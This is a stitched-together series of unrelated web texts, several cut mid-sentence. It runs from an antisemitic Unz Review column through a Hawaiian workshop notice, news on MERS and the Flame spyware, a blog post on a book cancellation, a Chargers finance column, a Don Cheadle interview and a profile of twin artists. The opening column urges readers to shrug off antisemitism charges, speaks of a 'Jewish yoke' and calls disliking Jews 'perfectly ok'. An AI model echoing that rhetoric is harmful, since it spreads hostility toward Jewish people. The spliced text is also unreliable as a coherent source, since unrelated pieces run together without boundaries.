So the Jews keep using this wonderful tool of attacking antisemites. Even if they do not destroy their enemy – Trump hasn’t been destroyed, Corbyn hasn’t been destroyed, Kurz hadn’t been destroyed – they force the attacked politicians to support Israel even more. Heads you lose, tails I win. And this is the road to perdition.
The only way out of it is to desensitize people to the antisemitism charge. That is why I welcome certain pugnacious publications on the Unz.com and elsewhere, for even if not perfectly fair, they still help to desensitize the reader.
Good Jewish activists suggest to move in an opposite way. – “Fight antisemitism, do not give it an inch, – they say, – Antisemitism is counterproductive”. There are good Jewish activists, for sure. For instance, Philip Weiss or Norman Finkelstein. And from time to time, they give a salvo on suspected antisemites, like the Israeli writer and musician Gilad Atzmon. I do not want to argue with them, for they are doing good work – until they join the fight with antisemitism hunters. It is perfectly ok to dislike this or other anti-Jewish sentence or slogan; moreover, it is unavoidable for critique of Jews has many faces. But there is a distance between disliking and actually joining with Netanyahu and Weinstein.
The souls of Gentile politicians are so fragile, they are so scared of Jews, that it is better not to traumatize them by suggesting that there are some evil antisemites to confront. Every lost Jewish vote will be well compensated by the votes gained. It is the right time to get rid of Jewish yoke, especially that this yoke is purely psychological block.
People may dislike Gypsies, they may dislike mass immigrants, they may dislike bankers, slick journalists, and machers. It is perfectly ok to dislike Jews. It is not against the law. You do not have to compensate that by kneeing to Israel.
If you remember that, we shall free Palestine; and if you won’t, the war is inevitable.
Israel Shamir can be reached at [email protected]
This article was first published at The Unz Review.Keōua Hōnaunau Canoe Club invites the community to participate in a traditional Hawaiian hale building workshop at Hōnaunau Bay on Saturday, Dec. 17, from 8 a.m to 2 p.m.
The workshop is part of a series that will be held monthly through June 2017.
Keōua Hōnaunau Canoe Club is in the process of restoring the Hale o Hoʻoponopono, a hale halawai (meeting house) that served as the site of Hawai‘iʻs first “immersion school” project in the 1970s.
The hale and the school it housed was founded at a time of cultural revival and activism that included the birth of Hokule‘a and the Protect Kaho‘olawe ‘Ohana.
The school was formed with an intention to address the shortcomings of the western educational system in its interactions with and attitudes toward the Native Hawaiian community and culture.
With the sponsorship of Kamehameha Schools and the dedication and efforts of Joe Tassill, “Boots” Matthews, Herb Kane, Clarence Medeiros, Abraham Moses, Diana Aki, Tutu Clara Manase and others, Hale o Ho‘oponopono was born, serving the community for many years until the hale structure fell into disrepair.
With this and other cultural projects, the canoe club intends to revitalize and enhance the cultural landscape of Hōnaunau Bay, promote the ongoing stewardship of our ahupua‘a and provide an environment for the practice of cultural education for our keiki, residents and visitors.
ADVERTISEMENT
The Hale o Ho‘oponopono rebuilding process is led by master hale builder Walter Wong and his team of hale-builder haumana (interns).
Participants will perform traditional protocols and experience the importance of laulima (working together) while restoring a traditional style hale halawai and learning skills such as pohaku (rock) dry setting, placement of pou (posts) and basic lashing techniques.
All ages are welcome, but children must be under the supervision of their parents at all times.
Wear sturdy shoes and bring work gloves.
There is no charge for the workshop; lunch is provided.
For more information, email [email protected] taking fire for caving to repressive regimes on data privacy, can the tech industry rehabilitate its reputation?
When Saudi Arabia announced plans to flog dissident blogger Raif Badawi earlier this year, Badawi’s wife, Ensaf Haidar, and his sister, Samar Badawi, took to the internet, joining Movements.org. An online platform set up to crowdsource human rights support from around the world, the site isn’t the brainchild of an activist organization or a nonprofit. Rather, it is the product of a company that has drawn a great deal of criticism for its fraught relationship with free speech: Google.
On Movements.org, Haidar and Badawi found a host of resources. Volunteers translated their call for help into English, and contacts at the The Daily Beast published it. Through the network, Haidar and Badawi met Canadian legislator Irwin Cotler, who agreed to serve as Raif Badawi’s international counsel. With Cotler’s help, and with the increased worldwide attention that the site has helped them generate, they have successfully pressured the Saudi government to suspend further punishment for – at this point – 16 consecutive weeks.
Why every aspiring lawyer should study human rights law Read more
Movements.org is run by Advancing Human Rights, a nonprofit, but was incubated at Google. The technology giant, through its Google Ideas program, funds a handful of projects that – in its words – explore “how technology can enable people to confront threats in the face of conflict, instability and repression”. These include Uproxy, a browser extension that helps users block attempts to spy on their web use, and The Guardian Project which creates apps that secure mobile devices against surveillance.
How and why did a company that has taken fire for its alleged partnerships in government surveillance end up creating tech used by dissident groups concerned with free speech?
Redeeming a bad reputation
Google’s human rights initiatives are encouraging, but they come at a time when, in the eyes of the Global Commission on Internet Governance, the tech sector – and Google in particular – has betrayed its claims that it is a force for good.
Despite lofty rhetoric about the power of the internet to enable open societies and free expression, three of tech’s biggest companies – Google, Yahoo and Microsoft – all found themselves in the hot seat for complying with Chinese authorities in 2006.
All three took steps to |
overheard a police officer ask them if they were selling for ACORN and the young woman -- who appears to be a young teen -- told the cop "yes." The older woman tells him flatly they're not from ACORN, but he keeps shouting it anyway.
Most of all, Jones and his wife are harassing these people based on some shaky presuppositions: that a young teenage girl would answer a cop's question -- particularly the addition of the ACORN element -- accurately is probably the shakiest, but toss in the fact that "off brand" vendors, people who have nothing whatsoever to do with a political entity like ACORN, employing young African Americans often flock to these political events and sell whatever is selling in terms of hats, T-shirts, pins, flags, and whatever gewgaws can be sold. Cops regularly chase them off if they don't have a license.
Which is probably what these people were doing, and why they fled. Well, that and the fear of being lynched by these maniacs.
The bigger question is: Why target African Americans when there are are hundreds of vendors at these things? And why assume that they have anything to do with ACORN?
Because, to the teabaggers, ACORN is synonymous with scary black people. The kind who, in the minds of Glenn Beck and his followers, are lurking, waiting to overthrow America when Obama orders them to. (Even if they later turn out to be a dance troupe.)
As Susie says, ACORN is just the new wingnutspeak code for the 'N' word. It's now become an epithet -- one you can chase black people around with and accuse them angrily. Just what America needs right now.
[H/t Max Blumenthal.]NBC 6's Laura Rodriguez has details on the first confirmed case of MERS in the state of Florida. (Published Monday, May 12, 2014)
A second case of the deadly respiratory illness known as MERS has been discovered in the United States, health officials confirmed Monday.
The new case of Middle East Respiratory Syndrome Coronavirus, reported in Florida, comes 10 days after the first case of the virus was reported in the country. The first patient, a man who lived in Saudi Arabia and traveled to Chicago on a planned trip to visit family, recovered from the illness and was released from the hospital over the weekend.
The Florida patient is a healthcare provider who lives and works in Saudi Arabia and began feeling sick on a flight to London, officials from the Centers for Disease Control and Prevention and the Florida Department of Health said at a news conference Monday.
The patient traveled on to Boston and Atlanta before arriving in Orlando on May 1, the CDC said. The patient was visiting family and didn't go to any of the area theme parks, officials said.
Raw: Sneaky Bear Gets Back Rub, Snags Doughnut
Surveillance video captured a black bear using a trail camera post as a back scratcher and stealing a doughnut from a trap. (Published Thursday, May 8, 2014)
On May 8, the patient was hospitalized. Tests by the CDC confirmed the MERS Sunday night. The patient remains isolated in the hospital and is doing well, the CDC said.
MERS belongs to the coronavirus family that includes the common cold and a syndrome known as SARS, which caused some 800 deaths globally in 2003. Saudi Arabia has been at the center of a Middle East outbreak of MERS that began two years ago. The virus has spread among health care workers, most notably at four facilities in that country last spring.
Overall, at least 400 people have had the respiratory illness, and more than 100 people have died. All had ties to the Middle East region or to people who traveled there.
Officials said the disease isn't highly contagious, but there is no cure.
The MERS virus has been found in camels, but officials don't know how it is spreading to humans. It can spread from person to person, but officials believe that happens only after close contact. Not all those exposed to the virus become ill.
Officials said the risk is relatively low for the Florida case but they are doing everything possible to find people who may have had contact with the patient. They are tracking down the 500 or so passengers who may have been on the three flights in the U.S. out of an abundance of caution.High School Principal Cancels Entire Reading Program To Stop Students From Reading Cory Doctorow's 'Little Brother'
from the you-want-to-learn-about-questioning-authority? dept
Little Brother had been selected and approved as the school's summer One School/One Book reading pick, and the school librarian Betsy Woolley had worked with Mary Kate Griffith from the English department to develop an excellent educational supplement for the students to use to launch their critical discussions in the fall. The whole project had been signed off on by the school administration and it was ready to go out to the students when the principal intervened and ordered them to change the title.
In an email conversation with Ms Griffith, the principal cited reviews that emphasized the book's positive view of questioning authority, lauding "hacker culture", and discussing sex and sexuality in passing. He mentioned that a parent had complained about profanity (there's no profanity in the book, though there's a reference to a swear word). In short, he made it clear that the book was being challenged because of its politics and its content.
Ultimately, the entire schoolwide One Book/One School program was cancelled.
Welcome to the modern equivalent of a book burning. The principal of Booker T Washington High in Pensacola Florida has apparently cancelled the school's "One School/One Book" summer reading program all in an effort to block students from reading Cory Doctorow's (absolutely fantastic) book Little Brother. It appears he may be against the fact that one of the messages of the book is the importance of "questioning authority," and has decided to show the school what true, obnoxious authoritarianism looks like.In an attempt to... er... question that authority, Doctorow and his publisher, Tor, are sending 200 free copies of the book to the school. A school trying to ban books is almost always a stupid idea, but it seems particularly stupid in this day and age with this particular book. In the end, all it is likely to do is cause more people to actually read the book and to, you know, question authority.
Filed Under: booker t washington high school, challenging authority, cory doctorow, florida, little brother, one school one book, pensacola, reading, students
Companies: torA top Israeli minister yesterday fed speculation that the Jewish state could be responsible for a powerful new virus said to have been used in a fresh attack on computers in Iran and elsewhere in the Middle East.
Click HERE to view graphic
The discovery of the unprecedented complex data-stealing "Flame" virus was disclosed by a Russian-based digital security firm Kaspersky Lab. Its experts reported on Monday that it had been applied most actively in Iran, but also in Israel and the occupied Palestinian territories, Sudan, Syria, Lebanon, Saudi Arabia and Egypt.
We’ll tell you what’s true. You can form your own view. From 15p €0.18 $0.18 $0.27 a day, more exclusives, analysis and extras.
Moshe Yaalon, Israel's Vice Prime Minister and Strategic Affairs Minister, told the country's Army Radio: "Anyone who sees the Iranian threat as a significant threat – it's reasonable [to assume] that he will take various steps, including these, to harm it."
Mr Yaalon, a former military Chief of Staff, added: "Israel was blessed as being a country rich with high-tech. These tools that we take pride in open up all kinds of opportunities for us."
He stopped short of directly claiming responsibility, but Israel has long been in the forefront of opposition to Iran's nuclear programme, currently the subject of difficult negotiations between Tehran and six world powers.
Although many viruses can already steal large amounts of data, few have been as comprehensive as Flame, or steal in so many different ways. The security industry is still in the early stages of examining what exactly Flame can do, but examples already given include hijacking a computer's microphone to record conversations, taking screen shots during chats through instant messenger and even stealing data from devices that are attached to an infected computer through a Bluetooth connection.
The Flame virus is believed to the third and, at least in information gathering, most effective cyber attack on Iranian computer systems in recent years. Tehran admitted the best known of these, Stuxnet, had damaged centrifuges at its uranium enrichment plant in Natanz in 2010.
The internet security industry has been both shocked and impressed by Flame's complexity and how dedicated it is to stealing as much intelligence data from a computer network as possible. Rik Ferguson, director of security research at Trend Micro, told The Independent: "It's a very comprehensive and bespoke piece of malware. It's further evidence that certain states or organisations are using malware to deliver very effective targeted attacks that can only be developed with significant planning and resources."
There are disagreements over how long it has been in existence. Kaspersky say the attacks began around 2010, but analysts at Budapest University's renowned Cryptography and System Security, which has also been analysing the virus since March, say evidence suggests Flame may have been infiltrating computer systems for five years.
Iran has largely played down its vulnerability to cyber attack, which it regards as part of a continued campaign by Israel and the US against its nuclear programme. It also blames those states for targeted assassinations of nuclear scientists. Officials at Iran's communications and technology ministry said yesterday they had produced an antivirus capable of identifying and removing the new malware, although many security analysts question such claims.
Mr Yaalon also yesterday voiced Israeli government scepticism about the ongoing negotiations with Tehran, saying last week's inconclusive talks in Baghdad "yielded no significant achievement" except to let Iran buy time. Talks will resume in Moscow next month.
The talks have so far faltered on Iran's resistance to demands for an end to higher grade 20 per cent uranium enrichment unless the West first eases sanctions which are due to be tightened significantly at the end of June.
We’ll tell you what’s true. You can form your own view.
At The Independent, no one tells us what to write. That’s why, in an era of political lies and Brexit bias, more readers are turning to an independent source. Subscribe from just 15p a day for extra exclusives, events and ebooks – all with no ads.
Subscribe nowAmid all the dismissive talk about San Diego’s dwindling chances of getting another NFL team, about the end of the league’s relocation era as quickly as it began, about how once the Raiders finalize their move to Las Vegas the other 31 owners will stand pat, maybe we are overlooking one franchise and its prospects of coming to America’s Finest City.
The Chargers.
No, really.
I didn’t say the Chargers and Dean Spanos. I said the Chargers.
Everything at this point is a long shot, but it’s at least a shot. It’s a pipe dream, but it’s our pipe dream. And the more you peel back the layers of their move 123 miles north, the more you crunch the numbers, the more you read the NFL tea leaves, the more a blurry vision comes into focus. Probable? Probably not. But plausible, perhaps.
It goes like this:
There are two reasons you abandon a loyal fan base after 56 years without exhaustingyou’re your options so you can play in a 25,000-seat soccer stadium in a metropolis that doesn’t want you. One is you’re going to sell, given the bump in value from moving to the nation’s No. 2 media market. The other is that you and your sons have never made or lost a penny in your lives, that you have no clue how to run a business, that you’re idiots.
It’s hard to discount the latter, but in the end it doesn’t matter. Both scenarios arrive at the same river of red ink.
Forbes estimates the net worth of the Spanos family at $2.4 billion. Its most recent valuation of the San Diego Chargers, not the Los Angeles Chargers, was $2.08 billion. That leaves about $320 million in non-football assets.
That’s a lot of money to you and me. That’s food stamps in the rarefied air of NFL ownership.
Even if the Chargers fill the StubHub Center in Carson, that’s 32,000 fewer fans per game than they got during the 2016 season at Qualcomm Stadium and nearly 42,000 fewer from the year before.
Kelvin Kuo / AP A sign is illuminated outside of The Forum to welcome the Los Angeles Chargers prior to their rally in Inglewood. A sign is illuminated outside of The Forum to welcome the Los Angeles Chargers prior to their rally in Inglewood. (Kelvin Kuo / AP)
The Chargers will recover some of that with higher ticket prices at their “intimate” temporary home, assuming they can sell them. But let’s say the average fan spends $175 per game in tickets, parking, concessions and merchandise. That’s roughly $5.6 million less per game or $56 million less over a 10-game home schedule than what they got in 2016 – and $73 million less than 2015.
Now add the associated costs with relocation, the $12 million they owe the city of San Diego for breaking their Qualcomm lease, the construction of a new headquarters and practice facility, finding new local corporate sponsors, signing a new radio affiliate. Now consider that, according to Forbes, their annual operating income in San Diego was $59 million, and you’re suddenly losing money.
The real pain could come in 2019, when the Chargers become tenants in Stan Kroenke’s Inglewood palace and begin paying $65 million annual installments of the NFL’s relocation fee – and when No. 17’s career will be winding down. They’ll try to sell personal seat licenses just for the right to buy season tickets, but what happens if no one buys them? What do they do with the rest of the seating inventory? How’s somebody who shelled out $20,000 for a PSL going to feel when the guy sitting two rows behind him paid nothing?
They get a break on rent, but they don’t have access to the lucrative stadium-related revenue streams of naming rights, development rights on the surrounding land, rental fees for other events. There’s also the potential hit from estate taxes when 93-year-old family patriarch Alex Spanos, who bought the team three decades ago for $70 million, passes away and the asset’s tax basis jumps to $2 billion.
Eventually, the lower net operational income intersects with the higher capitalization value. Eventually, reality trumps obstinance. Eventually, the Spanoses realize the stakes are too high at this poker table.
One option is an equity partner. But that requires someone handing over $500 million and letting Deano manage it, which might explain why there haven’t been any takers. The other option, maybe the best option, maybe the only option, becomes to cash out. To sell.
And here’s the key part: Their NFL brethren won’t discourage it.
It is becoming increasingly clear that the NFL has grown weary of Spanos and his logo changes. The first sign was last year, when the league picked Kroenke’s Inglewood stadium plan over the Carson proposal proffered by Spanos and Raiders owner Mark Davis. Then Spanos, against what appears to be the league’s wishes, impulsively exercises his option to bolt for L.A. without waiting it out for a new stadium in San Diego, without consulting the major players, without the Don’s blessing.
He’s become a pariah. He’s become football’s Donald T. Sterling, who, remember, also moved a franchise from San Diego to become the second team in L.A.
It took 30 years for the NBA to get rid of Sterling. Maybe it takes that long for the NFL with Spanos, or maybe they let him go to L.A. knowing, hoping, scheming that he goes broke and taps out. There’s a clause in the relocation contract that financially deters a quick sale, but this is the NFL.
As former Raiders executive Amy Trask wrote in a recent column for the Houston Chronicle: “I’m frequently asked to explain league rules and policies governing team relocation. Quite simply, league rules and policies are whatever the 32 owners wish them to be on any given day.”
So say the Chargers sell, and say they do it before the team has gained traction in L.A., before lightning bolt stickers have peeled off San Diego bumpers.
The new owner, presumably with deeper pockets and a keener business acumen, assesses the L.A. market. They’re the third most popular NFL team after the Raiders and Rams. They’re the fifth most popular football team after the Raiders, Rams, USC and UCLA, and maybe the sixth after Mater Dei High. Coverage is buried next to the agate page in the L.A. Times sports section. They’re fighting for eyeballs and wallets with the Rams, Lakers, Clippers, Dodgers, Angels, Kings, Ducks, Galaxy, Trojans, Bruins.0
As we move into Phase Two of the Marvel Cinematic Universe, this shared superhero world is starting to be fleshed out a bit more now that the principal characters have some experience working together in The Avengers. While fans are excited to see how Tony Stark, Thor, Steve Rogers, etc. will be interacting in future films, there’s also the possibility of supporting characters from the standalone Marvel pics crossing over. One of the most likely cases is that of Don Cheadle’s Jim Rhodes from the Iron Man films, as it looks like his alter ego War Machine will be getting a significant amount of screentime in the upcoming sequel.
Steve recently spoke with Cheadle in anticipation of the release of Iron Man 3, and the actor talked briefly about the prospect of him appearing in The Avengers 2 or Captain America: The Winter Soldier, noting that “conversations have been happening” with regards to the Avengers sequel. Hit the jump to see what he had to say.
As writer/director Joss Whedon is currently busy writing the script for The Avengers 2, Steve asked Cheadle if he has started pitching the filmmaker on ways that Rhodey could be involved with the follow-up:
“No I have not, but I know that [there are] conversations that have been happening, so we’ll see what happens. If that’s able to happen and it makes sense for the story, I’m sure it’ll happen, and if not it’s fine. It has to work within the world and sort of the mythology of the whole Marvel universe.”
It’s unclear if Cheadle means to say that conversations are happening regarding him specifically appearing in The Avengers 2, or if he’s just talking generally about putting the roster together for the sequel. Either way, War Machine would certainly make an interesting addition to the Avengers team.
Additionally, with production currently underway on the Captain America sequel, Steve asked Cheadle if there’s any chance that he’ll be popping up in that film as well:
“I think I’m gonna go to the set, so maybe if I bring the suit in my trunk I’ll just walk on.”
Watch the portion of Steve’s interview with Cheadle regarding The Avengers 2 and Captain America: The Winter Soldier below, followed by a full transcript. Look for the full interview closer to the release of Iron Man 3.
Question: Have you started pitching Joss Whedon on ways that Rhodey can be involved in the Avengers sequel?
DON CHEADLE: No I have not, but I know that [there are] conversations that have been happening, so we’ll see what happens. If that’s able to happen and it makes sense for the story, I’m sure it’ll happen, and if not it’s fine. It has to work within the world and sort of the mythology of the whole Marvel universe.
They’re filming Captain America 2 right now, is there any chance you’re showing up?
CHEADLE: I think I’m gonna go to the set, so maybe if my suit is in the trunk I’ll just walk on.View from the roof of the Union Square Cinema.
Try this: Gazing straight ahead (as you will no doubt at some point be urged to do if you start hanging out with Trevor and Ryan Oakes for any length of time these days), extend your right arm straight out to your side, perpendicular to your gaze, your hand in a fist, your thumb pointing upward, starting out from behind your ear and now slowly arcing the arm forward. (The Oakes boys, that is: identical twins, just past twenty-five years old, both artists, now living in New York City but before that from out of West Virginia.) At first you won’t see the upraised thumb, of course, but presently, there it will appear, at the periphery of your vision. Keep moving your arm forward until the thumb’s extended out there straight in front of your face at the center of your gaze; now with your left hand extended, thumb up, hand off the arcing transit, as it were, continuing along until eventually that thumb disappears behind your other ear. The thing is (as the Twins will explain with earnest enthusiasm and at quite considerable length), there was only a short part of that transit where you were seeing the thumbs with both eyes and hence with any sort of depth perception. Through most of the rest of the experiment, your nose was blocking the vision from out of one, and then the other, eye. And yet your brain, your visual cortex, was weaving the scene into one continuous, undifferentiated experience. (“Pretty cool, no?” By now the Twins will have veritably lit up with boyish enthusiasm.) Not getting it yet? Okay, try this: Closing your right eye, gaze to the right with your left. Notice how your nose, looming huge, blocks a good part of the view in that direction. Now, shift eyes: closing your left eye and peering left with your right. Same thing. Pretty obvious. Only, now, with both eyes open, gaze right, and notice how your nose pretty much disappears from your visual field, even though your left eye is in fact clearly taking it in. Once again, your brain, your visual cortex, suppresses the thing it doesn’t need to see (the nose) and weaves together a continuous, undifferentiated vantage. (The Oakes Twins have been concocting little experiments like this and comparing their respective experiences pretty much since toddlerhood.) Or, all right. Try this: See that tree over there in the distance? Close one eye and with your extended thumb block it out of your field of vision. Straightforward, easy. Now, close that eye and open the other, and your thumb will seem to have shifted a few inches to the side; bring it back over and you can block out the tree again. Okay, now leaving your thumb extended like that, open both eyes and you will notice that you can see the entire expanse before you. Even though your thumb is manifestly blocking the scene, you can see the tree and everything to either side with perfect clarity. And in fact you’re not seeing your thumb. Or rather, your thumb appears as a transparent double ghost of itself. (And it’s by way of little experiments like these, rigorously plotted and pursued with redoubled single-mindedness, that the Twins have recently begun making some of the most original breakthroughs in the rendering of visual space, and in particular that of three-dimensional perspective, since... well, actually, since the Renaissance.)
Arguably their most remarkable invention to date, or at any rate the one that has a whole lot of people talking, is based on two conceptual breakthroughs. The first isn’t so much a breakthrough as a recovery of long-lost knowledge. For through an extended process of investigation, the Twins arrived at an insight. Contrary to virtually every representation in our daily lives, which following the lead of Renaissance thinkers envisions us as fording into the world, gazing straight ahead, as if through a flat window (paintings, television, movies, computer monitors, the magazine page before you), in fact, each of us experiences the world as if we were inside, at the center of, a giant perceptual sphere. Indeed, they came to realize, if you are going to represent the world, something has to be curved—be it the line (as on a Mercator projection), or else the lens (in photography), or else … And here came their first insight: why not the paper? Wouldn’t it be truer to the feel of vision as we actually experience it if one rendered a scene on a piece of paper shaped like a tranche of the inner lining of a sphere? And as I say, in so thinking, they were precisely upending the Renaissance way of visualizing the world that has held sway ever since the breakthroughs of Brunelleschi and Van Eyk and the other giants of the early fifteenth century, one which in turn had itself been grounded in the overthrow of the prior antique/classical/medieval model of ourselves as living, precisely, at the center of a giant sphere. Their second breakthrough, the one that has artists in particular so astonished, is that the Twins have figured out a way of rendering the world before them onto that curved sheet of paper, in fact of tracing the world onto that page freehand, as if by way of a camera obscura or a camera lucida projection, only without any equipment whatsoever beyond their own binocular vision, or more to the point, their visual cortex—deploying the same innate capacities that allow any of us to see past our doubled ghost thumb out onto the vantage before us.
A few months ago, I called on the Oakes Twins in the diminutive basement one-room apartment, just east of Union Square in New York City, that doubles these days as both their teeming workspace and their compact homepad (a set of narrow bunk beds tucked neatly into one corner). The boys are on the tallish side of average, thin, clean-cut, and somewhat more than conventionally handsome; assiduously well-mannered and deferential and yet at the same time eminently self-assured. It turns out that their current investigations wend all the way back to their earliest years as the children of a social worker father (Larry, referred to as “Lar” by the boys) and an itinerant academic mother specializing in children’s literature (Elizabeth Poe, a distant relative, as it happens, of the brooding poet, who always gets referred to by the Twins, her only children, as “Poe”). The way other identical twins might invent a spooky secret language, the two of them became engaged in a long-term conversation, a continuous tandem investigation into the very fundaments of visual perception. “On long drives,” Trevor recalls, “we used to talk about the way a bug splattered on the windshield would appear to double if you looked out beyond it, and what then happened when you tilted your head from side to side.” How old were they when they were doing this? “Oh,” surmises Ryan, “three or four.” They’d dissect the foreshortening of approaching rows of telephone poles, tapping out rhythms with their fingers in syncopation with the passing poles, and they’d talk about that. They spent a lot of time analyzing their parents’ potential sightlines as they hid in a pantry or up on the garage roof behind the basketball backboard. (What for other kids was just hide-and-seek for them proved but one more occasion for investigation into optical geometry.) Poe recalls how for a time Trevor used to go around saluting, “Aye, Aye!” and then pointing to his eyeballs, giggling, “Eye, eye!” And how they were both able to freehand quite expressive versions of Garfield as early as age three. And how when their parents took them to see a children’s theater production of The Wizard of Oz a few years later, the thing that had the two of them most captivated wasn’t anything transpiring on stage but rather the mechanics of the lighting. Some years after that, the boys would find themselves sitting on stumps about twenty feet apart, gazing off into the distance, and trying to imagine what the depth perception of a being with eyes twenty feet apart might be like. “Pretty cool,” they agreed. On the other hand (or perhaps as another aspect of the same general cognitive horizon), they were both profoundly dyslexic. In a house jammed with children’s books, for the longest time, well into the sixth grade, the Twins could hardly decipher a thing. “To our mother’s chagrin,” says Trevor. “Well, not chagrin,” corrects Ryan, “more like dismay.” “Yeah,” agrees Trevor. “Dismay.” They simply couldn’t manage to blend the letters (quite remarkable, when one thinks about it, in a pair of twins who in later years would find themselves veritably slicing and dicing the visual process, the better to comprehend its inner workings). Meanwhile, they excelled in practically everything else: acing math, for example (except for word problems). “We had them on both handicapped and gifted tracks simultaneously,” Poe recalls. Through all those years, though, their true passion was for making things. They both recall fondly how the last year of preschool they spent days beavering away out on their driveway, hammering together wood scraps into a boat that grew to over twelve feet in length. (Their preschool class put together a field trip to come witness the achievement.) “They had remarkable attention spans,” Poe recently told me, adding, “That may in part have been—and this is one of the few things I think we can really take credit for as their parents, since neither of us is the least bit artistic—because we forbade them television.” Nor were they allowed coloring books (“I didn’t want their imaginations squeezed between somebody else’s lines,” she explains). On the other hand they were given all the high quality art supplies—Elmer’s glue, colored papers, colored markers, popsicle sticks, pipe cleaners, glitter powder, masking tape—they could desire. “The Popsicle sticks and glue and pipe cleaners,” Trevor recalls dreamily, “—the whole arsenal of tools I learned to think with.” They were inseparable, and, though profoundly ambitious, hardly ever seemed to compete with one another. “They never cared which of them won the various art competitions,” Poe recalls, “as long as one of them did.” For the longest time neither would deploy the first person singular. It was always we-this and we-that. Indeed, Ryan insists that it wasn’t until he was fourteen and for the first time found himself separated from Trevor for any length of time—for over a month, as it happens, during a stint at sleep-away art camp—that he was forced to start thinking in terms of I. The first several weeks there he mystified his fellow campers by continually referring to himself through a seemingly royal we, as in, “The way we see it is...” or, “The way we always do it is...” And to a remarkable degree this pattern persists to this day. They are always referring individually to “our teacher,” “our parents,” or “our patron.” Indeed, their twinship has seemed of the essence to both their method and their achievement all along. The sort of conversation most singletons have with themselves— the kind of thing Hannah Arendt, following Socrates, characterized as the very essence of thinking—twins are sometimes in a position to have with one another. How much more telling that general possibility can be when the conversation in question turns out to be about binocularity—two individuals completely in synch in an ongoing investigation into what it means to see with two eyes. Ryan’s high school stipple drawing of a hand reaching over a cliff ledge. Seeing, and seeing with two eyes, was at any rate forming one of the principle motifs of the Twins’ work by the time they got to high school. The walls of the Oakes’ parents’ home today is festooned with such early experiments, hung about like so many instances of sloughed-off skin, and it was fun being given the tour by their obviously proud, if still somewhat bewildered, parents (“I have yet to cease being amazed at how things keep developing for the two of them,” admitted Larry). But in the end, two images really jumped out at me as harbingers of things to come. One, Ryan’s response to an assignment that he draw something in the stipple style—the view from high up a cliff with a close-up on a rock-climber’s knuckles just then clambering up over the ledge—already testified to an exceptional level of ambition and self-certainty: Climbing Mt. Perspective. The other, from Trevor’s junior year, arose as part of a yearlong series entirely given over to bagels—rhapsodic bagels, cubist bagels, close-up bagels, bagel sculptures, and bagel oils (“The award this year goes to Trevor for his bagel series,” announced the principal at that semester’s year-end ceremony, “though, Trevor, don’t you think it’s about time you learned to spell bagel?”). The specific bagel image I have in mind is this one—talk about sliced and diced premonitions. Such, at any rate, were the sorts of things Trevor and Ryan brought along to the various portfolio days that art schools kept holding their last years of high school, including one at the Corcoran in Washington, D.C., for New York City’s Cooper Union—an institution notoriously difficult to get into for any single applicant, let alone two, since only sixty students are admitted each year from throughout the country, and all with full four-year scholarships. But in an unprecedented development, both twins were admitted, on the basis of the separate excellences of their applications, and both decided to go.
Trevor’s high school “sliced bagel” drawing.
The first year at Cooper Union was given over to classes in the so-called fundamentals, with the student body divided into sectional groupings of fifteen students each, and the Twins were assigned to separate sections (the better to foster individual development, as far as the authorities were concerned), which was fine by them. Indeed, all the way through school, they’d make a point of signing up for different sorts of classes (Ryan taking more painting and drawing, Trevor more sculpture). “We looked at it as a way of surveying a wider range of what Cooper Union had to offer,” says Ryan, “because we could always share information and techniques. And we didn’t need to be exposed to the same things for our thought process to keep moving along on a similar keel.” And indeed, they shared dorm rooms and studio space throughout. Not infrequently, depending on their relative immediate workloads any given week, they would do each other’s homework (the academic equivalent of dating the same girl, unbeknownst to her). “Perfectly acceptable to us,” says Ryan (referring to the homework, while declining to comment on the question of girls). For his part, from early on, Ryan focused on ways of “justifying the marks,” as he puts it, accounting as rigorously as possible for why and how his energy was getting expressed on any given surface before him, and on how to keep such expression from turning merely arbitrary. Thus, for example, that first winter, he spent a lot of time staring out his dorm window, recording onto the page before him the way individual flakes of snow fell, one transit layered atop the next—letting wind and gravity dictate the work’s outcome. In similar fashion, he’d start spending hour upon hour fashioning his own brushes, as a way of tending to (and indeed intending) another aspect of the process he otherwise found overly arbitrary. Trevor, for his part, took some corrugated cardboard panels and cut them into three-inch squares, piling those squares one atop the next (the corrugations all running parallel) so as to form three-inch laminated cubes, which he then started placing one beside the next, though with thin little shim-wedges at the back between each cube, thereby presently enforcing a gentle curve in the ever-lengthening row (a curve he would come to recognize as the inner arc of a wide circle). The extended nine-foot-long cardboard-cube array eventually read as completely opaque, a solid brown wall, unless, that is, you happened to drift over to one particular spot, about fifteen feet away (the center, as it were, of the circle in question), at which point all the corrugations lined up and (magic!) the wall seemed to disappear entirely. Trevor’s nine-row, corrugated cardboard wall piece—opaque when viewed obliquely (top) and see-through (bottom) when viewed directly. Meanwhile, their more general perceptual inquiries continued unabated. They grew ever more fascinated by peripheral vision, and in particular the way it is experienced corporeally from out of the contours of the human face—the way for instance the field of vision seems wider horizontally than vertically (understandable when you realize that your eyes are placed horizontally one beside, rather than atop, the other in your face, and that furthermore your jutting brow ridge tends to interfere with the view looking up, which is also suggestive of an evolutionary prehistory in which our ancestors were more likely to face threats from the ground than from the sky). Testing the limits of their perceptual field, come nightfall, they would climb to the roof deck of their seven-story dorm and lie horizontally, their heads tilted back slightly (to compensate for that annoying brow ridge) and realize, to their astonishment, that in that manner they were able to take in not only the full hemisphere of stars above but also virtually the entire 360 degrees of the surrounding girdle of city lights. Human perception! There were the conversations as well in which they began to take note of the curious way in which their noses severely narrowed the expanse of their depth of field. They became convinced that a person’s nose, even though usually occluded by the operations of his visual cortex such that it tended to disappear from view, served to anchor the scene before him, though not in the way one might expect, as a beacon pointing the way ahead right down the middle of his visual field. Rather, it might be more accurate, in considering bifocal vision, to think of the nose as appearing doubled to either side of the visual field, as if it were bracketing or bookending the scene before us (blocking the right eye’s leftmost view, and the left eye’s rightmost). And this was a phenomenon, they came to feel, with implications not only for vision generally but for art-making in particular. One day Ryan was studying a recent suite of abstract paintings by Trevor and, never one to accept the arbitrary nature of anyone’s mark, he took to focusing in particular on a seemingly recurrent triangular motif off in the lower corner of several of the paintings. “Wait a second, Trevor,” he announced exultantly. “That’s our nose!” Such shapes appeared not only in Trevor’s paintings but in those of other students as well. And indeed, come to think of it, in those of all sorts of other, far more accomplished artists. Ryan’s depth-of |
to 2021
